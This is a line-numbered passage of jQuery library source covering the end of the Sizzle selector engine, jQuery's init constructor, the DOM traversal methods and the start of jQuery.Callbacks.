2196 return matcher( elem, context, xml );
2197 }
2198 }
2199 } :
2200
2201 // Check against all ancestor/preceding elements
2202 function( elem, context, xml ) {
2203 var oldCache, uniqueCache, outerCache,
2204 newCache = [ dirruns, doneName ];
2205
2206 // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching
2207 if ( xml ) {
2208 while ( (elem = elem[ dir ]) ) {
2209 if ( elem.nodeType === 1 || checkNonElements ) {
2210 if ( matcher( elem, context, xml ) ) {
2211 return true;
2212 }
2213 }
2214 }
2215 } else {
2216 while ( (elem = elem[ dir ]) ) {
2217 if ( elem.nodeType === 1 || checkNonElements ) {
2218 outerCache = elem[ expando ] || (elem[ expando ] = {});
2219
2220 // Support: IE <9 only
2221 // Defend against cloned attroperties (jQuery gh-1709)
2222 uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});
2223
2224 if ( (oldCache = uniqueCache[ dir ]) &&
2225 oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
2226
2227 // Assign to newCache so results back-propagate to previous elements
2228 return (newCache[ 2 ] = oldCache[ 2 ]);
2229 } else {
2230 // Reuse newcache so results back-propagate to previous elements
2231 uniqueCache[ dir ] = newCache;
2232
2233 // A match means we're done; a fail means we have to keep checking
2234 if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
2235 return true;
2236 }
2237 }
2238 }
2239 }
2240 }
2241 };
2242 }
2243
2244 function elementMatcher( matchers ) {
2245 return matchers.length > 1 ?
2246 function( elem, context, xml ) {
2247 var i = matchers.length;
2248 while ( i-- ) {
2249 if ( !matchers[i]( elem, context, xml ) ) {
2250 return false;
2251 }
2252 }
2253 return true;
2254 } :
2255 matchers[0];
2256 }
2257
2258 function multipleContexts( selector, contexts, results ) {
2259 var i = 0,
2260 len = contexts.length;
2261 for ( ; i < len; i++ ) {
2262 Sizzle( selector, contexts[i], results );
2263 }
2264 return results;
2265 }
2266
2267 function condense( unmatched, map, filter, context, xml ) {
2268 var elem,
2269 newUnmatched = [],
2270 i = 0,
2271 len = unmatched.length,
2272 mapped = map != null;
2273
2274 for ( ; i < len; i++ ) {
2275 if ( (elem = unmatched[i]) ) {
2276 if ( !filter || filter( elem, context, xml ) ) {
2277 newUnmatched.push( elem );
2278 if ( mapped ) {
2279 map.push( i );
2280 }
2281 }
2282 }
2283 }
2284
2285 return newUnmatched;
2286 }
2287
2288 function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
2289 if ( postFilter && !postFilter[ expando ] ) {
2290 postFilter = setMatcher( postFilter );
2291 }
2292 if ( postFinder && !postFinder[ expando ] ) {
2293 postFinder = setMatcher( postFinder, postSelector );
2294 }
2295 return markFunction(function( seed, results, context, xml ) {
2296 var temp, i, elem,
2297 preMap = [],
2298 postMap = [],
2299 preexisting = results.length,
2300
2301 // Get initial elements from seed or context
2302 elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
2303
2304 // Prefilter to get matcher input, preserving a map for seed-results synchronization
2305 matcherIn = preFilter && ( seed || !selector ) ?
2306 condense( elems, preMap, preFilter, context, xml ) :
2307 elems,
2308
2309 matcherOut = matcher ?
2310 // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
2311 postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
2312
2313 // ...intermediate processing is necessary
2314 [] :
2315
2316 // ...otherwise use results directly
2317 results :
2318 matcherIn;
2319
2320 // Find primary matches
2321 if ( matcher ) {
2322 matcher( matcherIn, matcherOut, context, xml );
2323 }
2324
2325 // Apply postFilter
2326 if ( postFilter ) {
2327 temp = condense( matcherOut, postMap );
2328 postFilter( temp, [], context, xml );
2329
2330 // Un-match failing elements by moving them back to matcherIn
2331 i = temp.length;
2332 while ( i-- ) {
2333 if ( (elem = temp[i]) ) {
2334 matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
2335 }
2336 }
2337 }
2338
2339 if ( seed ) {
2340 if ( postFinder || preFilter ) {
2341 if ( postFinder ) {
2342 // Get the final matcherOut by condensing this intermediate into postFinder contexts
2343 temp = [];
2344 i = matcherOut.length;
2345 while ( i-- ) {
2346 if ( (elem = matcherOut[i]) ) {
2347 // Restore matcherIn since elem is not yet a final match
2348 temp.push( (matcherIn[i] = elem) );
2349 }
2350 }
2351 postFinder( null, (matcherOut = []), temp, xml );
2352 }
2353
2354 // Move matched elements from seed to results to keep them synchronized
2355 i = matcherOut.length;
2356 while ( i-- ) {
2357 if ( (elem = matcherOut[i]) &&
2358 (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {
2359
2360 seed[temp] = !(results[temp] = elem);
2361 }
2362 }
2363 }
2364
2365 // Add elements to results, through postFinder if defined
2366 } else {
2367 matcherOut = condense(
2368 matcherOut === results ?
2369 matcherOut.splice( preexisting, matcherOut.length ) :
2370 matcherOut
2371 );
2372 if ( postFinder ) {
2373 postFinder( null, results, matcherOut, xml );
2374 } else {
2375 push.apply( results, matcherOut );
2376 }
2377 }
2378 });
2379 }
2380
2381 function matcherFromTokens( tokens ) {
2382 var checkContext, matcher, j,
2383 len = tokens.length,
2384 leadingRelative = Expr.relative[ tokens[0].type ],
2385 implicitRelative = leadingRelative || Expr.relative[" "],
2386 i = leadingRelative ? 1 : 0,
2387
2388 // The foundational matcher ensures that elements are reachable from top-level context(s)
2389 matchContext = addCombinator( function( elem ) {
2390 return elem === checkContext;
2391 }, implicitRelative, true ),
2392 matchAnyContext = addCombinator( function( elem ) {
2393 return indexOf( checkContext, elem ) > -1;
2394 }, implicitRelative, true ),
2395 matchers = [ function( elem, context, xml ) {
2396 var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
2397 (checkContext = context).nodeType ?
2398 matchContext( elem, context, xml ) :
2399 matchAnyContext( elem, context, xml ) );
2400 // Avoid hanging onto element (issue #299)
2401 checkContext = null;
2402 return ret;
2403 } ];
2404
2405 for ( ; i < len; i++ ) {
2406 if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
2407 matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
2408 } else {
2409 matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
2410
2411 // Return special upon seeing a positional matcher
2412 if ( matcher[ expando ] ) {
2413 // Find the next relative operator (if any) for proper handling
2414 j = ++i;
2415 for ( ; j < len; j++ ) {
2416 if ( Expr.relative[ tokens[j].type ] ) {
2417 break;
2418 }
2419 }
2420 return setMatcher(
2421 i > 1 && elementMatcher( matchers ),
2422 i > 1 && toSelector(
2423 // If the preceding token was a descendant combinator, insert an implicit any-element `*`
2424 tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
2425 ).replace( rtrim, "$1" ),
2426 matcher,
2427 i < j && matcherFromTokens( tokens.slice( i, j ) ),
2428 j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
2429 j < len && toSelector( tokens )
2430 );
2431 }
2432 matchers.push( matcher );
2433 }
2434 }
2435
2436 return elementMatcher( matchers );
2437 }
2438
2439 function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
2440 var bySet = setMatchers.length > 0,
2441 byElement = elementMatchers.length > 0,
2442 superMatcher = function( seed, context, xml, results, outermost ) {
2443 var elem, j, matcher,
2444 matchedCount = 0,
2445 i = "0",
2446 unmatched = seed && [],
2447 setMatched = [],
2448 contextBackup = outermostContext,
2449 // We must always have either seed elements or outermost context
2450 elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
2451 // Use integer dirruns iff this is the outermost matcher
2452 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
2453 len = elems.length;
2454
2455 if ( outermost ) {
2456 outermostContext = context === document || context || outermost;
2457 }
2458
2459 // Add elements passing elementMatchers directly to results
2460 // Support: IE<9, Safari
2461 // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
2462 for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
2463 if ( byElement && elem ) {
2464 j = 0;
2465 if ( !context && elem.ownerDocument !== document ) {
2466 setDocument( elem );
2467 xml = !documentIsHTML;
2468 }
2469 while ( (matcher = elementMatchers[j++]) ) {
2470 if ( matcher( elem, context || document, xml) ) {
2471 results.push( elem );
2472 break;
2473 }
2474 }
2475 if ( outermost ) {
2476 dirruns = dirrunsUnique;
2477 }
2478 }
2479
2480 // Track unmatched elements for set filters
2481 if ( bySet ) {
2482 // They will have gone through all possible matchers
2483 if ( (elem = !matcher && elem) ) {
2484 matchedCount--;
2485 }
2486
2487 // Lengthen the array for every element, matched or not
2488 if ( seed ) {
2489 unmatched.push( elem );
2490 }
2491 }
2492 }
2493
2494 // `i` is now the count of elements visited above, and adding it to `matchedCount`
2495 // makes the latter nonnegative.
2496 matchedCount += i;
2497
2498 // Apply set filters to unmatched elements
2499 // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`
2500 // equals `i`), unless we didn't visit _any_ elements in the above loop because we have
2501 // no element matchers and no seed.
2502 // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that
2503 // case, which will result in a "00" `matchedCount` that differs from `i` but is also
2504 // numerically zero.
2505 if ( bySet && i !== matchedCount ) {
2506 j = 0;
2507 while ( (matcher = setMatchers[j++]) ) {
2508 matcher( unmatched, setMatched, context, xml );
2509 }
2510
2511 if ( seed ) {
2512 // Reintegrate element matches to eliminate the need for sorting
2513 if ( matchedCount > 0 ) {
2514 while ( i-- ) {
2515 if ( !(unmatched[i] || setMatched[i]) ) {
2516 setMatched[i] = pop.call( results );
2517 }
2518 }
2519 }
2520
2521 // Discard index placeholder values to get only actual matches
2522 setMatched = condense( setMatched );
2523 }
2524
2525 // Add matches to results
2526 push.apply( results, setMatched );
2527
2528 // Seedless set matches succeeding multiple successful matchers stipulate sorting
2529 if ( outermost && !seed && setMatched.length > 0 &&
2530 ( matchedCount + setMatchers.length ) > 1 ) {
2531
2532 Sizzle.uniqueSort( results );
2533 }
2534 }
2535
2536 // Override manipulation of globals by nested matchers
2537 if ( outermost ) {
2538 dirruns = dirrunsUnique;
2539 outermostContext = contextBackup;
2540 }
2541
2542 return unmatched;
2543 };
2544
2545 return bySet ?
2546 markFunction( superMatcher ) :
2547 superMatcher;
2548 }
2549
2550 compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
2551 var i,
2552 setMatchers = [],
2553 elementMatchers = [],
2554 cached = compilerCache[ selector + " " ];
2555
2556 if ( !cached ) {
2557 // Generate a function of recursive functions that can be used to check each element
2558 if ( !match ) {
2559 match = tokenize( selector );
2560 }
2561 i = match.length;
2562 while ( i-- ) {
2563 cached = matcherFromTokens( match[i] );
2564 if ( cached[ expando ] ) {
2565 setMatchers.push( cached );
2566 } else {
2567 elementMatchers.push( cached );
2568 }
2569 }
2570
2571 // Cache the compiled function
2572 cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
2573
2574 // Save selector and tokenization
2575 cached.selector = selector;
2576 }
2577 return cached;
2578 };
2579
2580 /**
2581 * A low-level selection function that works with Sizzle's compiled
2582 * selector functions
2583 * @param {String|Function} selector A selector or a pre-compiled
2584 * selector function built with Sizzle.compile
2585 * @param {Element} context
2586 * @param {Array} [results]
2587 * @param {Array} [seed] A set of elements to match against
2588 */
2589 select = Sizzle.select = function( selector, context, results, seed ) {
2590 var i, tokens, token, type, find,
2591 compiled = typeof selector === "function" && selector,
2592 match = !seed && tokenize( (selector = compiled.selector || selector) );
2593
2594 results = results || [];
2595
2596 // Try to minimize operations if there is only one selector in the list and no seed
2597 // (the latter of which guarantees us context)
2598 if ( match.length === 1 ) {
2599
2600 // Reduce context if the leading compound selector is an ID
2601 tokens = match[0] = match[0].slice( 0 );
2602 if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
2603 support.getById && context.nodeType === 9 && documentIsHTML &&
2604 Expr.relative[ tokens[1].type ] ) {
2605
2606 context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
2607 if ( !context ) {
2608 return results;
2609
2610 // Precompiled matchers will still verify ancestry, so step up a level
2611 } else if ( compiled ) {
2612 context = context.parentNode;
2613 }
2614
2615 selector = selector.slice( tokens.shift().value.length );
2616 }
2617
2618 // Fetch a seed set for right-to-left matching
2619 i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
2620 while ( i-- ) {
2621 token = tokens[i];
2622
2623 // Abort if we hit a combinator
2624 if ( Expr.relative[ (type = token.type) ] ) {
2625 break;
2626 }
2627 if ( (find = Expr.find[ type ]) ) {
2628 // Search, expanding context for leading sibling combinators
2629 if ( (seed = find(
2630 token.matches[0].replace( runescape, funescape ),
2631 rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
2632 )) ) {
2633
2634 // If seed is empty or no tokens remain, we can return early
2635 tokens.splice( i, 1 );
2636 selector = seed.length && toSelector( tokens );
2637 if ( !selector ) {
2638 push.apply( results, seed );
2639 return results;
2640 }
2641
2642 break;
2643 }
2644 }
2645 }
2646 }
2647
2648 // Compile and execute a filtering function if one is not provided
2649 // Provide `match` to avoid retokenization if we modified the selector above
2650 ( compiled || compile( selector, match ) )(
2651 seed,
2652 context,
2653 !documentIsHTML,
2654 results,
2655 !context || rsibling.test( selector ) && testContext( context.parentNode ) || context
2656 );
2657 return results;
2658 };
2659
2660// One-time assignments
2661
2662// Sort stability
2663 support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
2664
2665// Support: Chrome 14-35+
2666// Always assume duplicates if they aren't passed to the comparison function
2667 support.detectDuplicates = !!hasDuplicate;
2668
2669// Initialize against the default document
2670 setDocument();
2671
2672// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
2673// Detached nodes confoundingly follow *each other*
2674 support.sortDetached = assert(function( div1 ) {
2675 // Should return 1, but returns 4 (following)
2676 return div1.compareDocumentPosition( document.createElement("div") ) & 1;
2677 });
2678
2679// Support: IE<8
2680// Prevent attribute/property "interpolation"
2681// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
2682 if ( !assert(function( div ) {
2683 div.innerHTML = "<a href='#'></a>";
2684 return div.firstChild.getAttribute("href") === "#" ;
2685 }) ) {
2686 addHandle( "type|href|height|width", function( elem, name, isXML ) {
2687 if ( !isXML ) {
2688 return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
2689 }
2690 });
2691 }
2692
2693// Support: IE<9
2694// Use defaultValue in place of getAttribute("value")
2695 if ( !support.attributes || !assert(function( div ) {
2696 div.innerHTML = "<input/>";
2697 div.firstChild.setAttribute( "value", "" );
2698 return div.firstChild.getAttribute( "value" ) === "";
2699 }) ) {
2700 addHandle( "value", function( elem, name, isXML ) {
2701 if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
2702 return elem.defaultValue;
2703 }
2704 });
2705 }
2706
2707// Support: IE<9
2708// Use getAttributeNode to fetch booleans when getAttribute lies
2709 if ( !assert(function( div ) {
2710 return div.getAttribute("disabled") == null;
2711 }) ) {
2712 addHandle( booleans, function( elem, name, isXML ) {
2713 var val;
2714 if ( !isXML ) {
2715 return elem[ name ] === true ? name.toLowerCase() :
2716 (val = elem.getAttributeNode( name )) && val.specified ?
2717 val.value :
2718 null;
2719 }
2720 });
2721 }
2722
2723 return Sizzle;
2724
2725 })( window );
2726
2727
2728
2729 jQuery.find = Sizzle;
2730 jQuery.expr = Sizzle.selectors;
2731 jQuery.expr[ ":" ] = jQuery.expr.pseudos;
2732 jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;
2733 jQuery.text = Sizzle.getText;
2734 jQuery.isXMLDoc = Sizzle.isXML;
2735 jQuery.contains = Sizzle.contains;
2736
2737
2738
2739 var dir = function( elem, dir, until ) {
2740 var matched = [],
2741 truncate = until !== undefined;
2742
2743 while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
2744 if ( elem.nodeType === 1 ) {
2745 if ( truncate && jQuery( elem ).is( until ) ) {
2746 break;
2747 }
2748 matched.push( elem );
2749 }
2750 }
2751 return matched;
2752 };
2753
2754
2755 var siblings = function( n, elem ) {
2756 var matched = [];
2757
2758 for ( ; n; n = n.nextSibling ) {
2759 if ( n.nodeType === 1 && n !== elem ) {
2760 matched.push( n );
2761 }
2762 }
2763
2764 return matched;
2765 };
2766
2767
2768 var rneedsContext = jQuery.expr.match.needsContext;
2769
2770 var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );
2771
2772
2773
2774 var risSimple = /^.[^:#\[\.,]*$/;
2775
2776// Implement the identical functionality for filter and not
2777 function winnow( elements, qualifier, not ) {
2778 if ( jQuery.isFunction( qualifier ) ) {
2779 return jQuery.grep( elements, function( elem, i ) {
2780 /* jshint -W018 */
2781 return !!qualifier.call( elem, i, elem ) !== not;
2782 } );
2783
2784 }
2785
2786 if ( qualifier.nodeType ) {
2787 return jQuery.grep( elements, function( elem ) {
2788 return ( elem === qualifier ) !== not;
2789 } );
2790
2791 }
2792
2793 if ( typeof qualifier === "string" ) {
2794 if ( risSimple.test( qualifier ) ) {
2795 return jQuery.filter( qualifier, elements, not );
2796 }
2797
2798 qualifier = jQuery.filter( qualifier, elements );
2799 }
2800
2801 return jQuery.grep( elements, function( elem ) {
2802 return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not;
2803 } );
2804 }
2805
2806 jQuery.filter = function( expr, elems, not ) {
2807 var elem = elems[ 0 ];
2808
2809 if ( not ) {
2810 expr = ":not(" + expr + ")";
2811 }
2812
2813 return elems.length === 1 && elem.nodeType === 1 ?
2814 jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :
2815 jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
2816 return elem.nodeType === 1;
2817 } ) );
2818 };
2819
2820 jQuery.fn.extend( {
2821 find: function( selector ) {
2822 var i,
2823 ret = [],
2824 self = this,
2825 len = self.length;
2826
2827 if ( typeof selector !== "string" ) {
2828 return this.pushStack( jQuery( selector ).filter( function() {
2829 for ( i = 0; i < len; i++ ) {
2830 if ( jQuery.contains( self[ i ], this ) ) {
2831 return true;
2832 }
2833 }
2834 } ) );
2835 }
2836
2837 for ( i = 0; i < len; i++ ) {
2838 jQuery.find( selector, self[ i ], ret );
2839 }
2840
2841 // Needed because $( selector, context ) becomes $( context ).find( selector )
2842 ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );
2843 ret.selector = this.selector ? this.selector + " " + selector : selector;
2844 return ret;
2845 },
2846 filter: function( selector ) {
2847 return this.pushStack( winnow( this, selector || [], false ) );
2848 },
2849 not: function( selector ) {
2850 return this.pushStack( winnow( this, selector || [], true ) );
2851 },
2852 is: function( selector ) {
2853 return !!winnow(
2854 this,
2855
2856 // If this is a positional/relative selector, check membership in the returned set
2857 // so $("p:first").is("p:last") won't return true for a doc with two "p".
2858 typeof selector === "string" && rneedsContext.test( selector ) ?
2859 jQuery( selector ) :
2860 selector || [],
2861 false
2862 ).length;
2863 }
2864 } );
2865
2866
2867// Initialize a jQuery object
2868
2869
2870// A central reference to the root jQuery(document)
2871 var rootjQuery,
2872
2873 // A simple way to check for HTML strings
2874 // Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
2875 // Strict HTML recognition (#11290: must start with <)
2876 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
2877
2878 init = jQuery.fn.init = function( selector, context, root ) {
2879 var match, elem;
2880
2881 // HANDLE: $(""), $(null), $(undefined), $(false)
2882 if ( !selector ) {
2883 return this;
2884 }
2885
2886 // init accepts an alternate rootjQuery
2887 // so migrate can support jQuery.sub (gh-2101)
2888 root = root || rootjQuery;
2889
2890 // Handle HTML strings
2891 if ( typeof selector === "string" ) {
2892 if ( selector.charAt( 0 ) === "<" &&
2893 selector.charAt( selector.length - 1 ) === ">" &&
2894 selector.length >= 3 ) {
2895
2896 // Assume that strings that start and end with <> are HTML and skip the regex check
2897 match = [ null, selector, null ];
2898
2899 } else {
2900 match = rquickExpr.exec( selector );
2901 }
2902
2903 // Match html or make sure no context is specified for #id
2904 if ( match && ( match[ 1 ] || !context ) ) {
2905
2906 // HANDLE: $(html) -> $(array)
2907 if ( match[ 1 ] ) {
2908 context = context instanceof jQuery ? context[ 0 ] : context;
2909
2910 // scripts is true for back-compat
2911 // Intentionally let the error be thrown if parseHTML is not present
2912 jQuery.merge( this, jQuery.parseHTML(
2913 match[ 1 ],
2914 context && context.nodeType ? context.ownerDocument || context : document,
2915 true
2916 ) );
2917
2918 // HANDLE: $(html, props)
2919 if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
2920 for ( match in context ) {
2921
2922 // Properties of context are called as methods if possible
2923 if ( jQuery.isFunction( this[ match ] ) ) {
2924 this[ match ]( context[ match ] );
2925
2926 // ...and otherwise set as attributes
2927 } else {
2928 this.attr( match, context[ match ] );
2929 }
2930 }
2931 }
2932
2933 return this;
2934
2935 // HANDLE: $(#id)
2936 } else {
2937 elem = document.getElementById( match[ 2 ] );
2938
2939 // Check parentNode to catch when Blackberry 4.6 returns
2940 // nodes that are no longer in the document #6963
2941 if ( elem && elem.parentNode ) {
2942
2943 // Handle the case where IE and Opera return items
2944 // by name instead of ID
2945 if ( elem.id !== match[ 2 ] ) {
2946 return rootjQuery.find( selector );
2947 }
2948
2949 // Otherwise, we inject the element directly into the jQuery object
2950 this.length = 1;
2951 this[ 0 ] = elem;
2952 }
2953
2954 this.context = document;
2955 this.selector = selector;
2956 return this;
2957 }
2958
2959 // HANDLE: $(expr, $(...))
2960 } else if ( !context || context.jquery ) {
2961 return ( context || root ).find( selector );
2962
2963 // HANDLE: $(expr, context)
2964 // (which is just equivalent to: $(context).find(expr)
2965 } else {
2966 return this.constructor( context ).find( selector );
2967 }
2968
2969 // HANDLE: $(DOMElement)
2970 } else if ( selector.nodeType ) {
2971 this.context = this[ 0 ] = selector;
2972 this.length = 1;
2973 return this;
2974
2975 // HANDLE: $(function)
2976 // Shortcut for document ready
2977 } else if ( jQuery.isFunction( selector ) ) {
2978 return typeof root.ready !== "undefined" ?
2979 root.ready( selector ) :
2980
2981 // Execute immediately if ready is not present
2982 selector( jQuery );
2983 }
2984
2985 if ( selector.selector !== undefined ) {
2986 this.selector = selector.selector;
2987 this.context = selector.context;
2988 }
2989
2990 return jQuery.makeArray( selector, this );
2991 };
2992
2993// Give the init function the jQuery prototype for later instantiation
2994 init.prototype = jQuery.fn;
2995
2996// Initialize central reference
2997 rootjQuery = jQuery( document );
2998
2999
3000 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
3001
3002 // methods guaranteed to produce a unique set when starting from a unique set
3003 guaranteedUnique = {
3004 children: true,
3005 contents: true,
3006 next: true,
3007 prev: true
3008 };
3009
3010 jQuery.fn.extend( {
3011 has: function( target ) {
3012 var i,
3013 targets = jQuery( target, this ),
3014 len = targets.length;
3015
3016 return this.filter( function() {
3017 for ( i = 0; i < len; i++ ) {
3018 if ( jQuery.contains( this, targets[ i ] ) ) {
3019 return true;
3020 }
3021 }
3022 } );
3023 },
3024
3025 closest: function( selectors, context ) {
3026 var cur,
3027 i = 0,
3028 l = this.length,
3029 matched = [],
3030 pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
3031 jQuery( selectors, context || this.context ) :
3032 0;
3033
3034 for ( ; i < l; i++ ) {
3035 for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {
3036
3037 // Always skip document fragments
3038 if ( cur.nodeType < 11 && ( pos ?
3039 pos.index( cur ) > -1 :
3040
3041 // Don't pass non-elements to Sizzle
3042 cur.nodeType === 1 &&
3043 jQuery.find.matchesSelector( cur, selectors ) ) ) {
3044
3045 matched.push( cur );
3046 break;
3047 }
3048 }
3049 }
3050
3051 return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );
3052 },
3053
3054 // Determine the position of an element within
3055 // the matched set of elements
3056 index: function( elem ) {
3057
3058 // No argument, return index in parent
3059 if ( !elem ) {
3060 return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
3061 }
3062
3063 // index in selector
3064 if ( typeof elem === "string" ) {
3065 return jQuery.inArray( this[ 0 ], jQuery( elem ) );
3066 }
3067
3068 // Locate the position of the desired element
3069 return jQuery.inArray(
3070
3071 // If it receives a jQuery object, the first element is used
3072 elem.jquery ? elem[ 0 ] : elem, this );
3073 },
3074
3075 add: function( selector, context ) {
3076 return this.pushStack(
3077 jQuery.uniqueSort(
3078 jQuery.merge( this.get(), jQuery( selector, context ) )
3079 )
3080 );
3081 },
3082
3083 addBack: function( selector ) {
3084 return this.add( selector == null ?
3085 this.prevObject : this.prevObject.filter( selector )
3086 );
3087 }
3088 } );
3089
3090 function sibling( cur, dir ) {
3091 do {
3092 cur = cur[ dir ];
3093 } while ( cur && cur.nodeType !== 1 );
3094
3095 return cur;
3096 }
3097
3098 jQuery.each( {
3099 parent: function( elem ) {
3100 var parent = elem.parentNode;
3101 return parent && parent.nodeType !== 11 ? parent : null;
3102 },
3103 parents: function( elem ) {
3104 return dir( elem, "parentNode" );
3105 },
3106 parentsUntil: function( elem, i, until ) {
3107 return dir( elem, "parentNode", until );
3108 },
3109 next: function( elem ) {
3110 return sibling( elem, "nextSibling" );
3111 },
3112 prev: function( elem ) {
3113 return sibling( elem, "previousSibling" );
3114 },
3115 nextAll: function( elem ) {
3116 return dir( elem, "nextSibling" );
3117 },
3118 prevAll: function( elem ) {
3119 return dir( elem, "previousSibling" );
3120 },
3121 nextUntil: function( elem, i, until ) {
3122 return dir( elem, "nextSibling", until );
3123 },
3124 prevUntil: function( elem, i, until ) {
3125 return dir( elem, "previousSibling", until );
3126 },
3127 siblings: function( elem ) {
3128 return siblings( ( elem.parentNode || {} ).firstChild, elem );
3129 },
3130 children: function( elem ) {
3131 return siblings( elem.firstChild );
3132 },
3133 contents: function( elem ) {
3134 return jQuery.nodeName( elem, "iframe" ) ?
3135 elem.contentDocument || elem.contentWindow.document :
3136 jQuery.merge( [], elem.childNodes );
3137 }
3138 }, function( name, fn ) {
3139 jQuery.fn[ name ] = function( until, selector ) {
3140 var ret = jQuery.map( this, fn, until );
3141
3142 if ( name.slice( -5 ) !== "Until" ) {
3143 selector = until;
3144 }
3145
3146 if ( selector && typeof selector === "string" ) {
3147 ret = jQuery.filter( selector, ret );
3148 }
3149
3150 if ( this.length > 1 ) {
3151
3152 // Remove duplicates
3153 if ( !guaranteedUnique[ name ] ) {
3154 ret = jQuery.uniqueSort( ret );
3155 }
3156
3157 // Reverse order for parents* and prev-derivatives
3158 if ( rparentsprev.test( name ) ) {
3159 ret = ret.reverse();
3160 }
3161 }
3162
3163 return this.pushStack( ret );
3164 };
3165 } );
3166 var rnotwhite = ( /\S+/g );
3167
3168
3169
3170// Convert String-formatted options into Object-formatted ones
3171 function createOptions( options ) {
3172 var object = {};
3173 jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {
3174 object[ flag ] = true;
3175 } );
3176 return object;
3177 }
3178
3179 /*
3180 * Create a callback list using the following parameters:
3181 *
3182 * options: an optional list of space-separated options that will change how
3183 * the callback list behaves or a more traditional option object
3184 *
3185 * By default a callback list will act like an event callback list and can be
3186 * "fired" multiple times.
3187 *
3188 * Possible options:
3189 *
3190 * once: will ensure the callback list can only be fired once (like a Deferred)
3191 *
3192 * memory: will keep track of previous values and will call any callback added
3193 * after the list has been fired right away with the latest "memorized"
3194 * values (like a Deferred)
3195 *
3196 * unique: will ensure a callback can only be added once (no duplicate in the list)
3197 *
3198 * stopOnFalse: interrupt callings when a callback returns false
3199 *
3200 */
3201 jQuery.Callbacks = function( options ) {
3202
3203 // Convert options from String-formatted to Object-formatted if needed
3204 // (we check in cache first)
3205 options = typeof options === "string" ?
3206 createOptions( options ) :
3207 jQuery.extend( {}, options );
3208
3209 var // Flag to know if list is currently firing
3210 firing,
3211
3212 // Last fire value for non-forgettable lists
3213 memory,
3214
3215 // Flag to know if list was already fired
3216 fired,
3217
3218 // Flag to prevent firing
3219 locked,
3220
3221 // Actual callback list
3222 list = [],
3223
3224 // Queue of execution data for repeatable lists
3225 queue = [],
3226
3227 // Index of currently firing callback (modified by add/remove as needed)
3228 firingIndex = -1,
3229
3230 // Fire callbacks
3231 fire = function() {
3232
3233 // Enforce single-firing
3234 locked = options.once;
3235
3236 // Execute callbacks for all pending executions,
3237 // respecting firingIndex overrides and runtime changes
3238 fired = firing = true;
3239 for ( ; queue.length; firingIndex = -1 ) {
3240 memory = queue.shift();
3241 while ( ++firingIndex < list.length ) {
3242
3243 // Run callback and check for early termination
3244 if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&
3245 options.stopOnFalse ) {
3246
3247 // Jump to end and forget the data so .add doesn't re-fire
3248 firingIndex = list.length;
3249 memory = false;
3250 }
3251 }
3252 }
3253
3254 // Forget the data if we're done with it
3255 if ( !options.memory ) {
3256 memory = false;
3257 }
3258
3259 firing = false;
3260
3261 // Clean up if we're done firing for good
3262 if ( locked ) {
3263
3264 // Keep an empty list if we have data for future add calls
3265 if ( memory ) {
3266 list = [];
3267
3268 // Otherwise, this object is spent
3269 } else {
3270 list = "";
3271 }
3272 }
3273 },
3274
3275 // Actual Callbacks object
3276 self = {
3277
3278 // Add a callback or a collection of callbacks to the list
3279 add: function() {
3280 if ( list ) {
3281
3282 // If we have memory from a past run, we should fire after adding
3283 if ( memory && !firing ) {
3284 firingIndex = list.length - 1;
3285 queue.push( memory );
3286 }
3287
3288 ( function add( args ) {
3289 jQuery.each( args, function( _, arg ) {
3290 if ( jQuery.isFunction( arg ) ) {
3291 if ( !options.unique || !self.has( arg ) ) {
3292 list.push( arg );
3293 }
